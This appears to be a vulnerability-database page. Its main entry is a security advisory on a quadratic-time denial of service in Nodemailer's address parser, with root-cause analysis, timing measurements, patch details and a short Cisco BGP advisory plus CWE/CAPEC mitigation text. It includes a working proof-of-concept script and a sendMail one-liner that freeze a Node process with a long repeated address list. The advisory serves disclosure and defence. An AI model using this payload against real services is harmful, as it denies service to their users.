Nodemailer's address parser (lib/addressparser/index.js) parses a list of comma‑separated addresses in quadratic time — O(n²) in the number of addresses. A single crafted address string (e.g. a To, Cc, Bcc, From, or Reply‑To value, or any value passed to the exported addressparser) therefore consumes CPU proportional to the square of its length and blocks Node's single‑threaded event loop for the entire duration, denying service to every other request in the process.

This requires no special application configuration and no cooperating receiver — it is entirely inside the parser and triggers on the library's default code path. A ~1.5 MB address value freezes the process for ~25–30 seconds of 100% CPU; the cost grows with the square of the input, so a few‑MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is guarded by a nesting‑depth cap; this one is a flat, comma‑separated list with no such limit).

Details

addressparser tokenizes the input, splits it into per‑address token groups, and then accumulates the parsed results in a loop (lib/addressparser/index.js, ~lines 500–505):

addresses.forEach(addr => {
    const handled = _handleAddress(addr, depth);
    if (handled.length) {
        parsedAddresses = parsedAddresses.concat(handled);   // <-- line ~503
    }
});

Array.prototype.concat builds and returns a new array containing a copy of every element accumulated so far. Reassigning parsedAddresses = parsedAddresses.concat(handled) on each of the n iterations copies 1 + 2 + 3 + … + n elements in total, i.e. O(n²) work (and O(n²) transient allocations) for an input containing n addresses. Tokenization and _handleAddress themselves are linear; the quadratic blowup is entirely this accumulator.

Root‑cause proof. Replacing only that line with an in‑place append and re‑running the exact same input:

parsedAddresses = parsedAddresses.concat(handled);      ->  100000 addresses:  ~6068 ms
parsedAddresses.push.apply(parsedAddresses, handled);   ->  100000 addresses:  ~51 ms   (≈119x faster, now linear)

Measured scaling (nodemailer 9.0.6, 'a@b.com,'.repeat(n)):

addresses n input size parse time ratio for 2× input
25,000 0.19 MB ~0.35 s –
50,000 0.38 MB ~1.4 s ×4.0
100,000 0.76 MB ~6–8 s ×3.9
200,000 1.53 MB ~25–30 s ×4.1

Doubling the input quadruples the time — the signature of O(n²).

Reachability. The parser is invoked on any structured‑address header value on the normal send path (MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value) → _parseAddresses → addressparser, and getEnvelope()), so a single transport.sendMail({ to: <crafted string> }) triggers it. It is also reached directly through the exported require('nodemailer/lib/addressparser'), which many applications call to validate or display user‑supplied recipient lists. Confirmed via the public API: setHeader('To', 'a@b.com,'.repeat(80000)) + getEnvelope() blocks for ~3.9 s.

Suggested fix: accumulate in place instead of rebuilding the array each iteration, e.g. parsedAddresses.push.apply(parsedAddresses, handled); (or for (const h of handled) parsedAddresses.push(h);). Optionally cap the number of addresses / input length before parsing.

PoC

Environment: Node.js ≥ 18 and the published nodemailer@9.0.6. No transport, network, or configuration required — the cost is in parsing.

poc-dos.js:

'use strict';
const addressparser = require('nodemailer/lib/addressparser');

console.log('addresses | input size | parse time');
for (const n of [25000, 50000, 100000, 200000]) {
  const payload = 'a@b.com,'.repeat(n);        // n valid, comma-separated recipients
  const t0 = process.hrtime.bigint();
  addressparser(payload);                       // blocks synchronously
  const ms = Number(process.hrtime.bigint() - t0) / 1e6;
  console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB   | ' + ms.toFixed(0).padStart(7) + ' ms');
}

Run:

npm init -y && npm install nodemailer@9.0.6
node poc-dos.js

Actual output (nodemailer 9.0.6):

addresses | input size | parse time
    25000 | 0.19 MB   |     381 ms
    50000 | 0.38 MB   |    1435 ms
   100000 | 0.76 MB   |    7949 ms
   200000 | 1.53 MB   |   25154 ms

Equivalent trigger through the normal send API (freezes the event loop):

const nodemailer = require('nodemailer');
nodemailer.createTransport({ jsonTransport: true })
  .sendMail({ from: 'a@b.com', to: 'a@b.com,'.repeat(150000), subject: 'x', text: 'y' });
// ~15+ seconds of 100% CPU inside addressparser before anything is sent

Impact

  • Who is impacted: any service that runs Nodemailer (or the standalone nodemailer/lib/addressparser) on an address value that can be influenced by an untrusted party — a recipient field in a "send email / invite / share" feature, a Reply‑To/From derived from user input, a contact‑import or mailing‑list parser, or any endpoint that validates addresses with addressparser. No authentication, special option, or particular receiver is needed.

Patched in 9.1.0

Three separate quadratic paths were fixed, not one:

  • addressparser rebuilt its accumulator with concat() on every address (9116da9).
  • The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through 'a, b <c@d.com>,'.repeat(n) (same commit).
  • MimeNode#_convertAddresses checked recipient uniqueness with a linear scan per address (7cc38af, refined in 34da642). This was the most severe of the three and the reported proof of concept did not reach it: 'a@b.com,'.repeat(n) is one address repeated, which dedupes to a single envelope entry. A list of distinct recipients cost O(n^2) here, taking ~35s for 100k even after addressparser was fixed.

Fixed alongside: [].concat.apply in _parseAddresses threw RangeError: Maximum call stack size exceeded past roughly 124k recipients, with no crafted input needed (83b8c48).

Parsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new maxRecipients option (default 100000) throws rather than truncating, as a backstop.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T21:33:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nNodemailer\u0027s address parser (`lib/addressparser/index.js`) parses a list of comma\u2011separated addresses in **quadratic time \u2014 O(n\u00b2)** in the number of addresses. A single crafted address string (e.g. a `To`, `Cc`, `Bcc`, `From`, or `Reply\u2011To` value, or any value passed to the exported `addressparser`) therefore consumes CPU proportional to the **square** of its length and blocks Node\u0027s single\u2011threaded event loop for the entire duration, denying service to every other request in the process.\n\nThis requires **no special application configuration and no cooperating receiver** \u2014 it is entirely inside the parser and triggers on the library\u0027s default code path. A ~1.5 MB address value freezes the process for ~25\u201330 seconds of 100% CPU; the cost grows with the square of the input, so a few\u2011MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE\u20112025\u201114874 (that path is guarded by a nesting\u2011depth cap; this one is a flat, comma\u2011separated list with no such limit).\n\n### Details\n\n`addressparser` tokenizes the input, splits it into per\u2011address token groups, and then accumulates the parsed results in a loop (`lib/addressparser/index.js`, ~lines 500\u2013505):\n\n```js\naddresses.forEach(addr =\u003e {\n    const handled = _handleAddress(addr, depth);\n    if (handled.length) {\n        parsedAddresses = parsedAddresses.concat(handled);   // \u003c-- line ~503\n    }\n});\n```\n\n`Array.prototype.concat` builds and returns a **new** array containing a copy of every element accumulated so far. Reassigning `parsedAddresses = parsedAddresses.concat(handled)` on each of the *n* iterations copies 1 + 2 + 3 + \u2026 + n elements in total, i.e. **O(n\u00b2)** work (and O(n\u00b2) transient allocations) for an input containing *n* addresses. Tokenization and `_handleAddress` themselves are linear; the quadratic blowup is entirely this accumulator.\n\n**Root\u2011cause proof.** Replacing only that line with an in\u2011place append and re\u2011running the exact same input:\n\n```\nparsedAddresses = parsedAddresses.concat(handled);      -\u003e  100000 addresses:  ~6068 ms\nparsedAddresses.push.apply(parsedAddresses, handled);   -\u003e  100000 addresses:  ~51 ms   (\u2248119x faster, now linear)\n```\n\n**Measured scaling** (nodemailer 9.0.6, `\u0027a@b.com,\u0027.repeat(n)`):\n\n| addresses n | input size | parse time | ratio for 2\u00d7 input |\n|---|---|---|---|\n| 25,000  | 0.19 MB | ~0.35 s | \u2013 |\n| 50,000  | 0.38 MB | ~1.4 s  | \u00d74.0 |\n| 100,000 | 0.76 MB | ~6\u20138 s  | \u00d73.9 |\n| 200,000 | 1.53 MB | ~25\u201330 s| \u00d74.1 |\n\nDoubling the input quadruples the time \u2014 the signature of O(n\u00b2).\n\n**Reachability.** The parser is invoked on any structured\u2011address header value on the normal send path (`MimeNode.setHeader(\u0027To\u0027/\u0027Cc\u0027/\u0027Bcc\u0027/\u0027From\u0027/\u0027Reply-To\u0027, value)` \u2192 `_parseAddresses` \u2192 `addressparser`, and `getEnvelope()`), so a single `transport.sendMail({ to: \u003ccrafted string\u003e })` triggers it. It is also reached directly through the **exported** `require(\u0027nodemailer/lib/addressparser\u0027)`, which many applications call to validate or display user\u2011supplied recipient lists. Confirmed via the public API: `setHeader(\u0027To\u0027, \u0027a@b.com,\u0027.repeat(80000))` + `getEnvelope()` blocks for ~3.9 s.\n\n**Suggested fix:** accumulate in place instead of rebuilding the array each iteration, e.g. `parsedAddresses.push.apply(parsedAddresses, handled);` (or `for (const h of handled) parsedAddresses.push(h);`). Optionally cap the number of addresses / input length before parsing.\n\n### PoC\n\nEnvironment: Node.js \u2265 18 and the published `nodemailer@9.0.6`. No transport, network, or configuration required \u2014 the cost is in parsing.\n\n`poc-dos.js`:\n```js\n\u0027use strict\u0027;\nconst addressparser = require(\u0027nodemailer/lib/addressparser\u0027);\n\nconsole.log(\u0027addresses | input size | parse time\u0027);\nfor (const n of [25000, 50000, 100000, 200000]) {\n  const payload = \u0027a@b.com,\u0027.repeat(n);        // n valid, comma-separated recipients\n  const t0 = process.hrtime.bigint();\n  addressparser(payload);                       // blocks synchronously\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n  console.log(String(n).padStart(9) + \u0027 | \u0027 + (payload.length / 1048576).toFixed(2) + \u0027 MB   | \u0027 + ms.toFixed(0).padStart(7) + \u0027 ms\u0027);\n}\n```\n\nRun:\n```\nnpm init -y \u0026\u0026 npm install nodemailer@9.0.6\nnode poc-dos.js\n```\n\nActual output (nodemailer 9.0.6):\n```\naddresses | input size | parse time\n    25000 | 0.19 MB   |     381 ms\n    50000 | 0.38 MB   |    1435 ms\n   100000 | 0.76 MB   |    7949 ms\n   200000 | 1.53 MB   |   25154 ms\n```\n\nEquivalent trigger through the normal send API (freezes the event loop):\n```js\nconst nodemailer = require(\u0027nodemailer\u0027);\nnodemailer.createTransport({ jsonTransport: true })\n  .sendMail({ from: \u0027a@b.com\u0027, to: \u0027a@b.com,\u0027.repeat(150000), subject: \u0027x\u0027, text: \u0027y\u0027 });\n// ~15+ seconds of 100% CPU inside addressparser before anything is sent\n```\n\n### Impact\n\n* **Who is impacted:** any service that runs Nodemailer (or the standalone `nodemailer/lib/addressparser`) on an address value that can be influenced by an untrusted party \u2014 a recipient field in a \"send email / invite / share\" feature, a `Reply\u2011To`/`From` derived from user input, a contact\u2011import or mailing\u2011list parser, or any endpoint that validates addresses with `addressparser`. No authentication, special option, or particular receiver is needed.\n\n## Patched in 9.1.0\n\nThree separate quadratic paths were fixed, not one:\n\n* `addressparser` rebuilt its accumulator with `concat()` on every address ([9116da9](https://github.com/nodemailer/nodemailer/commit/9116da9)).\n* The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through `\u0027a, b \u003cc@d.com\u003e,\u0027.repeat(n)` (same commit).\n* `MimeNode#_convertAddresses` checked recipient uniqueness with a linear scan per address ([7cc38af](https://github.com/nodemailer/nodemailer/commit/7cc38af), refined in [34da642](https://github.com/nodemailer/nodemailer/commit/34da642)). This was the most severe of the three and the reported proof of concept did not reach it: `\u0027a@b.com,\u0027.repeat(n)` is one address repeated, which dedupes to a single envelope entry. A list of *distinct* recipients cost O(n^2) here, taking ~35s for 100k even after `addressparser` was fixed.\n\nFixed alongside: `[].concat.apply` in `_parseAddresses` threw `RangeError: Maximum call stack size exceeded` past roughly 124k recipients, with no crafted input needed ([83b8c48](https://github.com/nodemailer/nodemailer/commit/83b8c48)).\n\nParsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new `maxRecipients` option (default 100000) throws rather than truncating, as a backstop.",
  "id": "GHSA-2x7j-588g-ccc2",
  "modified": "2026-09-08T21:33:17Z",
  "published": "2026-09-08T21:33:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-2x7j-588g-ccc2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/pull/1848"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/34da64282dcdc9b0581c721a27ab2fa226673150"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/7cc38af418ffa6fc7e86085195ca5ca681694b3e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/9116da9528c6524cefaed75185602a7e85d20434"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nodemailer: Quadratic (O(n\u00b2)) time complexity in addressparser allows remote denial of service via a crafted address list"
}

GHSA-2X7Q-2HQ7-J42J

Vulnerability from github – Published: 2022-05-24 17:29 – Updated: 2023-05-22 21:30
VLAI
Details

A vulnerability in the implementation of Multiprotocol Border Gateway Protocol (MP-BGP) for the Layer 2 VPN (L2VPN) Ethernet VPN (EVPN) address family in Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition. The vulnerability is due to incorrect processing of Border Gateway Protocol (BGP) update messages that contain crafted EVPN attributes. An attacker could exploit this vulnerability by sending BGP update messages with specific, malformed attributes to an affected device. A successful exploit could allow the attacker to cause an affected device to crash, resulting in a DoS condition.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-3479"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-09-24T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the implementation of Multiprotocol Border Gateway Protocol (MP-BGP) for the Layer 2 VPN (L2VPN) Ethernet VPN (EVPN) address family in Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition. The vulnerability is due to incorrect processing of Border Gateway Protocol (BGP) update messages that contain crafted EVPN attributes. An attacker could exploit this vulnerability by sending BGP update messages with specific, malformed attributes to an affected device. A successful exploit could allow the attacker to cause an affected device to crash, resulting in a DoS condition.",
  "id": "GHSA-2x7q-2hq7-j42j",
  "modified": "2023-05-22T21:30:18Z",
  "published": "2022-05-24T17:29:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3479"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ios-bgp-evpn-dos-LNfYJxfF"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.